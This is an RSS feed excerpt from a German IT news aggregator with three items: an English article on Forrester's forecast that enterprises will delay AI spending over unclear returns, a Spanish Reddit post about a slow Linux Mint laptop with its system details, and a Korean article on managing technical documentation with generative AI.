<description><![CDATA[Most enterprises have yet to see their AI investments make a positive impact on their bottom lines, which could lead many to rethink AI budgets over the next year, IT analyst firm Forrester predicts.



Many enterprises will delay a quarter of their planned AI spending until 2027 as they struggle...]]></description>
<link>https://tsecurity.de/de/3083075/it-security-nachrichten/ai-spending-may-slow-down-as-roi-remains-elusive/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3083075/it-security-nachrichten/ai-spending-may-slow-down-as-roi-remains-elusive/</guid>
<pubDate>Thu, 06 Nov 2025 11:18:46 +0100</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Most enterprises have yet to see their AI investments make a positive impact on their bottom lines, which could lead many to rethink AI budgets over the next year, IT analyst firm Forrester predicts.</p>



<p>Many enterprises will delay a quarter of their planned AI spending until 2027 as they struggle to see a return on investment, <a href="https://www.forrester.com/blogs/predictions-2026-ai-moves-from-hype-to-hard-hat-work/" rel="nofollow">Forrester projects</a>. Just 15% of AI decision-makers surveyed by the analyst firm report <a href="https://www.cio.com/article/3996256/what-roi-ai-misfires-spur-ceos-to-rethink-adoption.html?utm=hybrid_search">AI-related earnings increases</a> for their organizations in the past year. Less than a third can link AI to income hikes.</p>



<p>“The disconnect between the inflated promises of AI vendors and the value created for enterprises will force market correction,” Forrester’s analysts write. “Savvy buyers should capitalize on this supply side frailty by manipulating <a href="https://www.forrester.com/blogs/ai-isnt-cheap-heres-how-to-spend-smarter/" rel="nofollow">the levers of AI cost</a> while refocusing investment on top- and bottom-line impact.”</p>



<p>Many CIOs who talk to <a href="https://www.forrester.com/analyst-bio/brian-hopkins/BIO2705" rel="nofollow">Brian Hopkins</a>, vice president of emerging technology at Forrester, have recently voiced concerns about a lack of ROI in their AI projects. While many are observing efficiency gains, it’s difficult to translate a 15-minute savings when an employee writes an email to an improvement in the bottom line, he says.</p>



<p>“Because firms are having a hard time moving from individual task kind of efficiency into more process efficiency, they’re not seeing any earnings at the top line,” he says. “Can we say they’re not getting the benefits, or are they just not measuring the full value that they’re getting because they’re struggling to connect what they’re doing?”</p>



<p>Hopkins expects AI spending delays during 2026 to be common, with about half of the organizations in Forrester’s financial services- and healthcare-heavy client base putting off planned outlays.</p>



<p>CIOs, <a href="https://www.cio.com/article/4074801/cios-will-be-on-the-hook-for-business-led-ai-failures.html?utm=hybrid_search">pushed by company executives</a> to launch AI projects, have questioned spending on big AI platform deployments, Hopkins says.</p>



<p>In one recent conversation with Hopkins, a company CIO worried about the purchase of an AI platform. “The CIO is like, ‘Is the value going to happen, or do we just have to wait a little while?’” he says. “There’s a lot of these big platform investments, and what’s going to happen when the value doesn’t materialize is that spending is going to get cut.”</p>



<h2 class="wp-block-heading">Some don’t see a bubble</h2>



<p>Some AI experts agree with Forrester that an AI market correction is on the way. Microsoft founder Bill Gates recently talked about the <a href="https://www.msn.com/en-us/money/topstocks/bill-gates-says-were-in-an-ai-bubble-similar-to-the-dot-com-bubble/ar-AA1PpNqM?ocid=BingNewsSerp" rel="nofollow">existence of an AI bubble</a>, and industry observers have noted that some AI excitement is dimming. Many don’t see an AI bubble that will burst in the near future, but it’s deflating a bit.</p>



<p>Still others don’t see much of a slowdown in the near term.</p>



<p>Hightouch, provider of an AI and data platform for marketing, doesn’t see indications of a spending slowdown, says <a href="https://www.linkedin.com/in/briankotlyar/" rel="nofollow">Brian Kotlyar</a>, CMO there. Instead, organizations are getting pickier about what they’re spending their AI dollars on, he says.</p>



<p>“What we do see is a rapid increase in sophistication in understanding AI and how to use it,” he adds. “The budgets remain allocated and there remains urgency to spend money to unlock the benefits of AI, but the buying criteria are more mature and stringent than the initial rush of experimentation.”</p>



<p>Still, Kotlyar doesn’t rule out a market correction at some point. He notes the <a href="https://en.wikipedia.org/wiki/Tulip_mania" rel="nofollow">tulip buying craze</a> of the 1630s, when bulb prices reached incredible levels.</p>



<p>“Two things are happening at the same time,” he says. “The underlying utility of AI for labor augmentation and replacement is clear and indisputable. At the same time, markets can get exuberant — there was a time that you could trade a single tulip bulb for a whole house in Amsterdam, after all.”</p>



<p>Even with a possible slowdown at some point, there’s a clear AI trend, he adds. “AI is very good today with zero further advancement at a lot of very valuable work,” Kotlyar says. “It’s not going away.”</p>



<h2 class="wp-block-heading">Slowing down</h2>



<p>Other observers see the potential for an AI spending slowdown, as organizations move away from <a href="https://www.cio.com/article/3629824/gen-ai-in-2025-playtime-is-over-time-to-get-practical.html?utm=hybrid_search">experimental AI projects</a> and <a href="https://www.cio.com/article/4080608/the-great-ai-reset-cios-pivot-from-pilots-to-business-value.html">refocus on revenue-generating solutions</a>.</p>



<p>Some organizations are not achieving the accuracy they need from AI tools, and others are not finding their data to be easily accessible or <a href="https://www.cio.com/article/2128444/is-your-data-ready-for-ai-cios-lack-answers.html?utm=hybrid_search">properly structured</a>, says <a href="https://www.linkedin.com/in/sam-ferrise-996ba83/" rel="nofollow">Sam Ferrise</a>, CTO of IT consulting firm Trinetix.</p>



<p>“Many organizations are realizing that their expectations for AI accuracy and performance don’t always align with the level of investment they’re willing — or able — to make,” he says. “The key is calibrating expectations relative to both the investment and the use case.”</p>



<p>In other cases, enterprises deploying AI are running into privacy or security problems, he adds. “Many teams successfully prove a use case with clear ROI, only to realize later that they must harden the solution before it can safely move into production,” Ferrise says. “When that alignment isn’t there, it’s natural for organizations to pause or delay spending until they can justify the value.”</p>



<p>The prospect of a bubble bursting may be an overly dramatic scenario, although not impossible, he adds. It’s been easy for organizations to overlook intangible costs such as training, compliance, and governance.</p>



<p>“What seems more plausible is a correction or reset,” Ferrise says. “Companies will likely narrow their focus to use cases that require lower investment but deliver higher perceived value.”</p>



<h2 class="wp-block-heading">An emphasis on AI outcomes</h2>



<p><a href="https://www.linkedin.com/in/srikrishnang/" rel="nofollow">Srikrishnan Ganesan</a>, co-founder and CEO of agent-based professional services automation vendor Rocketlane, agrees that experimental AI spending is likely to go down in 2026, as companies look for AI projects with proven results.</p>



<p>“We’ve been in the vision-selling era for too long and need to move to the outcomes era,” he says. “There will be corrections in the market expectations because of a lot of overlapping ambitions today among companies claiming to drive huge ROI with AI.”</p>



<p>Still, there will be many organizations that try to move toward “radical efficiency” with AI, Ganesan adds. “The overall AI spend should still increase as production AI deployment reaches more departments in the enterprise,” he says.</p>



<p>AI users are moving from proof-of-concepts to production readiness, leading to slower headline spending and smarter allocations, adds <a href="https://www.linkedin.com/in/dzimmerman/" rel="nofollow">Dan Zimmerman</a>, chief product and technology officer at TreviPay, a global B2B payments platform.</p>



<p>“Many organizations are realizing their early AI pilots were heavy on experimentation and light on measurable ROI, requiring a necessary recalibration to refocus on outcomes,” he says. “The period of hype and excitement around AI, where everyone was experimenting, making bold promises, and rushing to launch pilots, is ending, and we’re entering a more disciplined, technical, and practical phase.”</p>



<p>Organizations that invested in quick demos may pull back, but those integrating AI into core workflows such as customer service and credit decision-making, are seeing sustained ROI, Zimmerman adds.</p>



<p>“I can say with confidence AI is improving productivity and making knowledge more accessible across the business,” he says.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Linux Mint me va lento!!!!]]></title>
<description><![CDATA[Hola, intente instalar linux mint en una laptop porque habia escuchado que linux es mucho mas rapido que windows y vaya sorpresa que me lleve!!! Pues jamas habia conocido una computadora tan lenta ahora que instale Linux Mint, se me alento horrible!!! Esta es la informacion del sistema, ya esta t...]]></description>
<link>https://tsecurity.de/de/3076082/linux-tipps/linux-mint-me-va-lento/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3076082/linux-tipps/linux-mint-me-va-lento/</guid>
<pubDate>Mon, 03 Nov 2025 02:35:59 +0100</pubDate>
<category>🐧 Linux Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<!-- SC_OFF --><div class="md"><p>Hola, intente instalar linux mint en una laptop porque habia escuchado que linux es mucho mas rapido que windows y vaya sorpresa que me lleve!!!</p> <p>Pues jamas habia conocido una computadora tan lenta ahora que instale Linux Mint, se me alento horrible!!!</p> <p>Esta es la informacion del sistema, ya esta todo actualizado y sigue igual, se empieza a trabar la pc cuando abro el navegador y empiezo a explorar paginas en google y se pone peor cuando pongo videos, parece que la compatibilidad con la tarjeta grafica es mala, pero segun ya esta instalada la tarjeta...</p> <p>Alguna solucion? creen que alguna version especifica de linux mint me servivria mejor que esta que tengo?</p> <p>System:</p> <p>Kernel: 6.8.0-87-generic arch: x86_64 bits: 64 compiler: gcc v: 13.3.0 clocksource: tsc</p> <p>Desktop: Cinnamon v: 6.2.9 tk: GTK v: 3.24.41 wm: Muffin v: 6.2.0 vt: 7 dm: LightDM v: 1.30.0</p> <p>Distro: Linux Mint 22 Wilma base: Ubuntu 24.04 noble</p> <p>Machine:</p> <p>Type: Laptop System: ASUSTeK product: X555QG v: 1.0 serial: &lt;superuser required&gt;</p> <p>Mobo: ASUSTeK model: X555QG v: 1.0 serial: &lt;superuser required&gt; part-nu: ASUS-NotebookSKU</p> <p>uuid: &lt;superuser required&gt; UEFI: American Megatrends v: X555QG.329 date: 05/10/2019</p> <p>Battery:</p> <p>ID-1: BAT0 charge: 2.7 Wh (87.1%) condition: 3.1/37.3 Wh (8.4%) volts: 7.6 min: 7.6</p> <p>model: ASUSTeK X555-50 type: Li-ion serial: N/A status: not charging cycles: 413</p> <p>CPU:</p> <p>Info: quad core model: AMD A10-9600P RADEON R5 10 COMPUTE CORES 4C+6G bits: 64 type: MT MCP</p> <p>smt: enabled arch: Excavator rev: 1 cache: L1: 320 KiB L2: 2 MiB</p> <p>Speed (MHz): avg: 1196 high: 1197 min/max: 1200/2400 boost: enabled cores: 1: 1196 2: 1195</p> <p>3: 1197 4: 1197 bogomips: 19162</p> <p>Flags: avx avx2 ht lm nx pae sse sse2 sse3 sse4_1 sse4_2 sse4a ssse3 svm</p> <p>Graphics:</p> <p>Device-1: AMD Wani [Radeon R5/R6/R7 Graphics] vendor: ASUSTeK driver: amdgpu v: kernel</p> <p>arch: GCN-3 ports: active: eDP-1 empty: DP-1,HDMI-A-1 bus-ID: 00:01.0 chip-ID: 1002:9874</p> <p>class-ID: 0300</p> <p>Device-2: AMD Sun XT [Radeon HD 8670A/8670M/8690M / R5 M330 M430 Radeon 520 Mobile]</p> <p>vendor: ASUSTeK driver: radeon v: kernel arch: GCN-1 pcie: speed: 8 GT/s lanes: 8 bus-ID: 03:00.0</p> <p>chip-ID: 1002:6660 class-ID: 0380 temp: 64.0 C</p> <p>Device-3: Chicony USB2.0 VGA UVC WebCam driver: uvcvideo type: USB rev: 2.0 speed: 480 Mb/s</p> <p>lanes: 1 bus-ID: 1-1.4:5 chip-ID: 04f2:b52b class-ID: 0e02 serial: &lt;filter&gt;</p> <p>Display: x11 server: <a href="http://x.org/">X.Org</a> v: 21.1.11 with: Xwayland v: 23.2.6 driver: X: loaded: radeon</p> <p>unloaded: amdgpu,fbdev,modesetting,vesa dri: radeonsi gpu: amdgpu display-ID: :0 screens: 1</p> <p>Screen-1: 0 s-res: 1366x768 s-dpi: 96 s-size: 361x203mm (14.21x7.99") s-diag: 414mm (16.31")</p> <p>Monitor-1: eDP-1 mapped: eDP model: ChiMei InnoLux 0x15ca res: 1366x768 hz: 60 dpi: 101</p> <p>size: 344x193mm (13.54x7.6") diag: 394mm (15.5") modes: max: 1366x768 min: 640x480</p> <p>API: EGL v: 1.5 hw: drv: amd radeonsi platforms: device: 0 drv: radeonsi device: 1</p> <p>drv: radeonsi device: 2 drv: swrast gbm: drv: kms_swrast surfaceless: drv: radeonsi x11:</p> <p>drv: radeonsi inactive: wayland</p> <p>API: OpenGL v: 4.6 compat-v: 4.5 vendor: amd mesa v: 25.0.7-0ubuntu0.24.04.2 glx-v: 1.4</p> <p>direct-render: yes renderer: AMD Radeon R5 Graphics (radeonsi carrizo ACO DRM 3.57</p> <p>6.8.0-87-generic) device-ID: 1002:9874</p> <p>Audio:</p> <p>Device-1: AMD Kabini HDMI/DP Audio vendor: ASUSTeK driver: snd_hda_intel v: kernel</p> <p>bus-ID: 00:01.1 chip-ID: 1002:9840 class-ID: 0403</p> <p>Device-2: AMD Family 15h Audio vendor: ASUSTeK driver: snd_hda_intel v: kernel bus-ID: 00:09.2</p> <p>chip-ID: 1022:157a class-ID: 0403</p> <p>API: ALSA v: k6.8.0-87-generic status: kernel-api</p> <p>Server-1: PipeWire v: 1.0.5 status: active with: 1: pipewire-pulse status: active</p> <p>2: wireplumber status: active 3: pipewire-alsa type: plugin</p> <p>Network:</p> <p>Device-1: Qualcomm Atheros QCA9565 / AR9565 Wireless Network Adapter vendor: AzureWave</p> <p>driver: ath9k v: kernel pcie: speed: 2.5 GT/s lanes: 1 bus-ID: 01:00.0 chip-ID: 168c:0036</p> <p>class-ID: 0280</p> <p>IF: wlp1s0 state: up mac: &lt;filter&gt;</p> <p>Device-2: Realtek RTL8111/8168/8211/8411 PCI Express Gigabit Ethernet</p> <p>vendor: ASUSTeK RTL8111/8168/8411 driver: r8169 v: kernel pcie: speed: 2.5 GT/s lanes: 1</p> <p>port: e000 bus-ID: 02:00.0 chip-ID: 10ec:8168 class-ID: 0200</p> <p>IF: enp2s0 state: down mac: &lt;filter&gt;</p> <p>Bluetooth:</p> <p>Device-1: IMC Networks driver: btusb v: 0.8 type: USB rev: 1.1 speed: 12 Mb/s lanes: 1</p> <p>bus-ID: 1-1.3:6 chip-ID: 13d3:3423 class-ID: e001</p> <p>Report: hciconfig ID: hci0 rfk-id: 1 state: down bt-service: enabled,running rfk-block:</p> <p>hardware: no software: yes address: &lt;filter&gt;</p> <p>Drives:</p> <p>Local Storage: total: 931.51 GiB used: 206.04 GiB (22.1%)</p> <p>ID-1: /dev/sda vendor: HGST (Hitachi) model: HTS541010A9E680 size: 931.51 GiB speed: 6.0 Gb/s</p> <p>tech: HDD rpm: 5400 serial: &lt;filter&gt; fw-rev: A560 scheme: GPT</p> <p>Partition:</p> <p>ID-1: / size: 915.32 GiB used: 206.03 GiB (22.5%) fs: ext4 dev: /dev/sda2</p> <p>ID-2: /boot/efi size: 511 MiB used: 6.1 MiB (1.2%) fs: vfat dev: /dev/sda1</p> <p>Swap:</p> <p>ID-1: swap-1 type: file size: 2 GiB used: 0 KiB (0.0%) priority: -2 file: /swapfile</p> <p>USB:</p> <p>Hub-1: 1-0:1 info: full speed or root hub ports: 2 rev: 2.0 speed: 480 Mb/s lanes: 1</p> <p>chip-ID: 1d6b:0002 class-ID: 0900</p> <p>Hub-2: 1-1:2 info: Advanced Micro Devices Root Hub ports: 4 rev: 2.0 speed: 480 Mb/s lanes: 1</p> <p>power: 100mA chip-ID: 0438:7900 class-ID: 0900</p> <p>Device-1: 1-1.1:3 info: YICHIP Wireless Device type: keyboard,mouse driver: hid-generic,usbhid</p> <p>interfaces: 2 rev: 2.0 speed: 12 Mb/s lanes: 1 power: 100mA chip-ID: 3151:3020 class-ID: 0301</p> <p>Device-2: 1-1.3:6 info: IMC Networks type: bluetooth driver: btusb interfaces: 2 rev: 1.1</p> <p>speed: 12 Mb/s lanes: 1 power: 100mA chip-ID: 13d3:3423 class-ID: e001</p> <p>Device-3: 1-1.4:5 info: Chicony USB2.0 VGA UVC WebCam type: video driver: uvcvideo</p> <p>interfaces: 2 rev: 2.0 speed: 480 Mb/s lanes: 1 power: 500mA chip-ID: 04f2:b52b class-ID: 0e02</p> <p>serial: &lt;filter&gt;</p> <p>Hub-3: 2-0:1 info: hi-speed hub with single TT ports: 4 rev: 2.0 speed: 480 Mb/s lanes: 1</p> <p>chip-ID: 1d6b:0002 class-ID: 0900</p> <p>Device-1: 2-1:2 info: KYE Systems (Mouse Systems) Multimedia Keyboard type: keyboard,HID</p> <p>driver: hid-generic,usbhid interfaces: 2 rev: 2.0 speed: 1.5 Mb/s lanes: 1 power: 100mA</p> <p>chip-ID: 0458:0708 class-ID: 0300</p> <p>Hub-4: 3-0:1 info: super-speed hub ports: 4 rev: 3.0 speed: 5 Gb/s lanes: 1 chip-ID: 1d6b:0003</p> <p>class-ID: 0900</p> <p>Sensors:</p> <p>System Temperatures: cpu: 90.5 C mobo: N/A</p> <p>Fan Speeds (rpm): cpu: 3900</p> <p>GPU: device: amdgpu temp: 90.0 C device: radeon temp: 64.0 C</p> <p>Repos:</p> <p>Packages: pm: dpkg pkgs: 2455</p> <p>No active apt repos in: /etc/apt/sources.list</p> <p>Active apt repos in: /etc/apt/sources.list.d/apandada1-brightness-controller-noble.list</p> <p>1: deb [signed-by=/etc/apt/keyrings/apandada1-brightness-controller-noble.gpg] https: <a href="https://ppa.launchpadcontent.net/apandada1/brightness-controller/ubuntu">//ppa.launchpadcontent.net/apandada1/brightness-controller/ubuntu</a> noble main</p> <p>Active apt repos in: /etc/apt/sources.list.d/google-chrome.list</p> <p>1: deb [arch=amd64] https: <a href="https://dl.google.com/linux/chrome/deb/">//dl.google.com/linux/chrome/deb/</a> stable main</p> <p>Active apt repos in: /etc/apt/sources.list.d/official-package-repositories.list</p> <p>1: deb http: <a href="https://packages.linuxmint.com/">//packages.linuxmint.com</a> wilma main upstream import backport</p> <p>2: deb http: <a href="https://archive.ubuntu.com/ubuntu">//archive.ubuntu.com/ubuntu</a> noble main restricted universe multiverse</p> <p>3: deb http: <a href="https://archive.ubuntu.com/ubuntu">//archive.ubuntu.com/ubuntu</a> noble-updates main restricted universe multiverse</p> <p>4: deb http: <a href="https://archive.ubuntu.com/ubuntu">//archive.ubuntu.com/ubuntu</a> noble-backports main restricted universe multiverse</p> <p>5: deb http: <a href="https://security.ubuntu.com/ubuntu/">//security.ubuntu.com/ubuntu/</a> noble-security main restricted universe multiverse</p> <p>Info:</p> <p>Memory: total: 12 GiB note: est. available: 10.65 GiB used: 4.88 GiB (45.8%)</p> <p>Processes: 279 Power: uptime: 1h 3m states: freeze,mem,disk suspend: deep wakeups: 0</p> <p>hibernate: platform Init: systemd v: 255 target: graphical (5) default: graphical</p> <p>Compilers: gcc: 13.3.0 Client: Cinnamon v: 6.2.9 inxi: 3.3.34</p> </div><!-- SC_ON -->   submitted by   <a href="https://www.reddit.com/user/Conscious-Draw8121"> /u/Conscious-Draw8121 </a> <br> <span><a href="https://www.reddit.com/r/linux/comments/1omxiwx/linux_mint_me_va_lento/">[link]</a></span>   <span><a href="https://www.reddit.com/r/linux/comments/1omxiwx/linux_mint_me_va_lento/">[comments]</a></span>]]></content:encoded>
</item>
<item>
<title><![CDATA[문서도 코드처럼 진화한다···생성형 AI가 바꾼 기술 문서 관리법]]></title>
<description><![CDATA[데브옵스팀은 기술 문서를 작성하고 활용하는 일에 복잡한 감정을 갖고 있다. 개발자는 문서화되지 않은 코드를 읽거나 유지보수하는 일을 싫어한다. 아키텍처 다이어그램은 멋진 이야기를 들려줄 수 있지만, 실제 구현된 구조와 비교하면 상당 부분이 ‘허구’에 가깝다. 심지어 사고, 요청, 변경관리를 다루는 IT 서비스 관리(ITSM) 절차조차도 문서에 명시된 대로 지켜지는 경우는 드물다.



CIO, CTO 등 디지털 리더들은 문서화를 강조하지만, 프로젝트 예산에는 기술 문서 담당자가 포함되는 경우가 거의 없다. 애자일팀 역시 코드 ...]]></description>
<link>https://tsecurity.de/de/3056940/it-security-nachrichten/ai/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3056940/it-security-nachrichten/ai/</guid>
<pubDate>Thu, 23 Oct 2025 10:33:50 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>데브옵스팀은 기술 문서를 작성하고 활용하는 일에 복잡한 감정을 갖고 있다. 개발자는 문서화되지 않은 코드를 읽거나 유지보수하는 일을 싫어한다. 아키텍처 다이어그램은 멋진 이야기를 들려줄 수 있지만, 실제 구현된 구조와 비교하면 상당 부분이 ‘허구’에 가깝다. 심지어 사고, 요청, 변경관리를 다루는 IT 서비스 관리(ITSM) 절차조차도 문서에 명시된 대로 지켜지는 경우는 드물다.</p>



<p>CIO, CTO 등 디지털 리더들은 문서화를 강조하지만, 프로젝트 예산에는 기술 문서 담당자가 포함되는 경우가 거의 없다. 애자일팀 역시 코드 수준의 주석이나 README 파일 같은 기본적인 문서 외에는 작성할 시간이 부족하다.</p>



<p>제품 책임자가 애자일 사용자 스토리를 통해 요구사항을 기록하더라도, 애플리케이션의 비즈니스 규칙, 사용자 여정 맵, 아키텍처, API, 표준 운영 절차(SOP)를 담은 문서는 대체로 불완전하거나 최신 상태가 아니다.</p>



<p>이전에 필자는 생성형 AI를 활용해 요구사항과 애자일 사용자 스토리를 작성하는 방법에 대해 다룬 적이 있다. 이번에는 한 단계 더 나아가 “개발자, 엔지니어, 아키텍트는 생성형 AI 도구를 어떻게 활용해 정확한 기술 문서를 작성하고 유지할 수 있을까?”라는 질문을 던진다.</p>



<h2 class="wp-block-heading">데브옵스와 ITSM 문서화에 생성형 AI 활용하기</h2>



<p>몇 년 전, 필자가 함께 일한 한 개발팀은 문서가 ‘무의미하다’고 단언했다. 이들은 명명 규칙을 따르고, 단위 테스트와 예외 처리가 잘 되어 있으며 코드 커버리지가 높은 ‘좋은 코드’ 자체가 최고의 문서라고 주장했다. 또한 새로운 기능 개발 시간을 줄이면서까지 기존 기능을 문서화하더라도, 다음 배포 시점에 코드가 바뀌면 문서가 금세 쓸모없어질 것이라고 말했다.</p>



<p>하지만 찬성하는 쪽의 시각은 다르다. 생성형 AI 도구를 활용하면 데브옵스 팀이 코드 변경 및 배포 속도에 맞춰 문서를 자동으로 갱신할 수 있다는 것이다.</p>



<p>펜도(Pendo)의 CTO 에릭 트로안은 “생성형 AI는 소프트웨어 문서를 정적인 참고자료에서 제품 경험의 일부로 통합된 동적인 계층으로 바꾸고 있다”며 “사용자 흐름을 포착하고 문맥에 맞는 가이드를 자동 생성함으로써 문서가 소프트웨어와 함께 실시간으로 진화해 마찰을 줄이고 사용자 효율성을 높이고 있다”고 설명했다.</p>



<p>브리지넥스트(Bridgenext)의 CTO 도미닉 프로피코는 “AI가 생성하는 지식은 머지않아 기존 문서를 완전히 대체할 것”이라고 내다봤다. 그는 “생성형 AI가 발전하면 수십 년간 리더들이 원하고 개발자들이 기피해온 문서 자체가 사라질 것이며, 대규모 언어 모델(LLM)은 질문이나 채팅, 프롬프트에 즉시 대응해 코드베이스, 산업 표준, 문서, 지원 티켓, 시스템 로그 등에서 필요한 정보를 실시간으로 생성하게 될 것”이라고 말했다.</p>



<p>미래의 형태가 어떻든, 이미 생성형 AI는 데브옵스 팀이 문서화 요구사항을 더 효율적으로 충족하도록 돕고 있다. 또한 AI 에이전트와 다양한 생성형 AI 개발 도구가 확산되면서, 문서화에 투자해야 할 새로운 이유도 생겨나고 있다.</p>



<h2 class="wp-block-heading">문서의 대상 독자 정의하기</h2>



<p>문서화에 투자하기 전에 가장 먼저 해야 할 일은 대상 독자와 그들이 문서를 어떻게 활용할지를 명확히 정의하는 것이다. 이는 ‘충분히 좋은(good enough)’ 문서와 ‘최신 상태(up-to-date)’ 문서의 기준이 된다. 데브옵스 팀이 고려해야 할 주요 독자층과 그들의 요구사항은 다음과 같다.</p>



<p>• 새로 합류한 개발자는 아키텍처, 데브옵스 필수 요구사항, 소프트웨어 개발 프로세스, 코드의 전반적 구조를 이해할 수 있는 문서를 필요로 한다. 이를 통해 빠르게 업무에 적응하고, 조직의 표준에 맞는 결과물을 낼 수 있다.<br>• 외부 개발팀은 API 문서, Git 저장소의 README 파일, 데이터 카탈로그 내 데이터 정의, 로그 파일 및 관측 관련 아티팩트에 대한 가이드를 검토하고자 한다.<br>• 아키텍트, 보안 전문가, 사이트 신뢰성 엔지니어(SRE)는 애플리케이션 현대화나 기술 부채 해소 방안을 제안할 때 문서를 필요로 한다. 또한 사고 대응 및 근본 원인 분석을 수행할 때도 관련 문서가 필수적이다.<br>• 데이터 과학자, 데이터 거버넌스 전문가, 데이터 엔지니어 등 데이터 파이프라인을 다루는 인력은 API와 애플리케이션이 생성한 데이터를 활용해 보고서, 데이터 시각화, 분석, AI 모델을 개발한다. 이들은 최신 데이터 카탈로그와 데이터 계보(lineage)를 참고해 데이터 기반 의사결정을 내린다.<br>• 제품 관리자, 제품 책임자, 변화 관리 리더, 주제 전문가(SME)는 “시스템이 어떻게 작동하는가”를 알고자 한다. 코드를 직접 살펴보는 것은 원하지 않지만, 릴리스 노트에 담긴 정보보다 더 구체적인 내용을 필요로 한다.<br>• ISO 27001, ISO 9001, SSDF, CMMI, SOC 2 등 규정 준수 표준의 감사 담당자는 반드시 검토해야 할 문서가 필요하다.<br>• 생성형 AI 코딩 어시스턴트와 AI 에이전트 또한 문서를 학습 데이터로 활용해 정확성과 적합성을 높인다.</p>



<h2 class="wp-block-heading">생성형 AI 도구를 활용한 기술 문서 작성 방법</h2>



<p>각기 다른 독자층은 서로 다른 문서 요구사항을 갖고 있다. 그렇다면 생성형 AI 도구를 어떻게 활용하면 이들의 다양한 필요를 충족할 수 있을까?</p>



<h3 class="wp-block-heading">기능 작동 방식 문서화</h3>



<p>SADA의 CTO 마일스 워드는 “구글 클라우드의 API 문서는 코드로 작성돼 있으며, 수만 건에 달하는 API 문서를 최신 상태로 유지하는 유일한 방법은 자동화뿐이라는 사실을 증명했다”고 말했다. 그는 “우리 팀은 기술 문서를 NotebookLM에 통합했고, 이제 나는 기능 간 상호작용의 세부 내용을 평이한 영어로 설명해주는 팟캐스트 형태로 받아볼 수 있다”며 “Gemini, NotebookLM, Mariner 같은 신기술 덕분에 기술 문서가 더 이상 부담이 아닌 자산이 되고 있다”고 설명했다.</p>



<p>기능이 어떻게 작동하는지를 문서화하기 위해 다음과 같은 항목을 작성하고 유지하는 것이 좋다.<br>• 요구사항과 사용자 관점이 포함된 기능 명세서<br>• 아키텍처, 의존성, 테스트, 보안, 설정, 배포를 포함한 간략한 기술 설계 문서<br>• 애자일 사용자 스토리 및 IT 서비스 관리(ITSM) 티켓 참조 링크</p>



<p>이와 같은 기능 수준 문서화에는 마이크로소프트 팀즈(Microsoft Teams), 아틀라시안 컨플루언스(Atlassian Confluence), 구글 워크스페이스(Google Workspace), 노션(Notion), 미디어위키(MediaWiki) 등의 도구가 유용하다.</p>



<h3 class="wp-block-heading">API, 데이터 사전, 데이터 파이프라인 문서화</h3>



<p>테크시스템즈(TEKsystems)의 기술 현대화 담당 이사 아르만도 프랑코는 “생성형 AI가 문서를 사후 작업이 아닌 개발 과정의 자연스러운 산출물로 바꾸고 있다”며 “예를 들어 팀이 마이크로서비스를 구축할 때 AI가 자동으로 OpenAPI 명세를 생성·유지해 엔드포인트, 페이로드, 인증 방식을 정확히 반영한다”고 말했다. 이어 “데이터 팀의 경우 AI가 SQL 코드와 ETL 파이프라인에서 직접 데이터 라인리지 다이어그램과 데이터 카탈로그를 생성해 환경 간 일관성을 보장할 수 있다”고 덧붙였다.</p>



<p>데브옵스 팀은 기술 문서의 주요 독자가 자신들이 아니라는 점을 명심해야 한다. 프로젝트에 새로 합류하거나 기존 개발팀의 업무를 이어받는 개발자, 그리고 API나 외부 연계 기능을 사용하는 외부 개발자가 핵심 독자층이다.</p>



<p>문서 유형별로 적합한 도구는 다음과 같다.<br>• 데이터 사전을 문서화하기에 가장 적합한 도구는 알레이션(Alation), 애틀랜(Atlan), 아타카마(Ataccama), AWS 글루 데이터 카탈로그, 애저 데이터 카탈로그, 콜리브라(Collibra), 데이터월드(Data.world), 어윈 데이터 카탈로그(Erwin Data Catalog), 구글 데이터플렉스 유니버설 카탈로그, 인포매티카 엔터프라이즈 데이터 카탈로그(, 세코다(Secoda) 등이다.<br>• 데이터 파이프라인이나 데이터 통합 플랫폼을 사용하는 데이터옵스팀은 시각적 설계 도구를 통해 데이터 흐름 및 라인리지 다이어그램을 제작할 수 있다.<br>• API 문서화에는 포스트맨(Postman), 리독클리(Redocly), 스웨거(Swagger), 스톱라이트(Stoplight) 등이 널리 활용된다.</p>



<h3 class="wp-block-heading">런타임 및 표준 운영 절차(SOP) 문서화</h3>



<p>벌트(Vultr)의 CMO 케빈 코크레인은 “전통적인 문서화 방식은 오늘날 AI 기반 클라우드 시스템의 실시간·동적 특성을 따라가지 못하고 있다”며 “CTO들은 이제 생성형 AI 도구를 활용해 로그, 설정, 런타임 데이터를 기반으로 시스템과 함께 진화하는 ‘살아 있는 문서’를 만들고 있다”고 말했다. 그는 “이 접근법은 문서를 단순한 기록이 아닌 ‘연속성 도구’로 바꾸어, 팀 간 공통 맥락을 유지하고 단일 실패 지점을 줄이며 시스템 전반의 운영 단절을 방지한다”고 설명했다.</p>



